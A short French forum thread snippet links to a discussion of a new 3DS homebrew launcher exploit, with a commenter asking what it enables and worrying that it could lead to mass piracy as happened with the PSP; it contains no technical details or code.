https://gbatemp.net/threads/in-progress-new-homebrew-launcher-exploit-for-3ds.379250/

Lien vers le commentaire
Partager sur d'autres sites

ça veut dire en gros qu'il pourra lancer n'importe quoi depuis la carte SD de la console ? J'ai bien compris ? Donc plus besoin de carte, rien du tout....

Si c'est ça, ça ressemble furieusement au début du hack de la PSP... Quand on se souvient de l'absence de jeu qui s'est suivi du piratage massif, ça me fait peur....

Lien vers le commentaire
Partager sur d'autres sites

Créer un compte ou se connecter pour commenter

Vous devez être membre afin de pouvoir déposer un commentaire

Créer un compte

Créez un compte sur notre communauté. C’est facile !

Créer un nouveau compte

Se connecter

Vous avez déjà un compte ? Connectez-vous ici.

Connectez-vous maintenant
 Share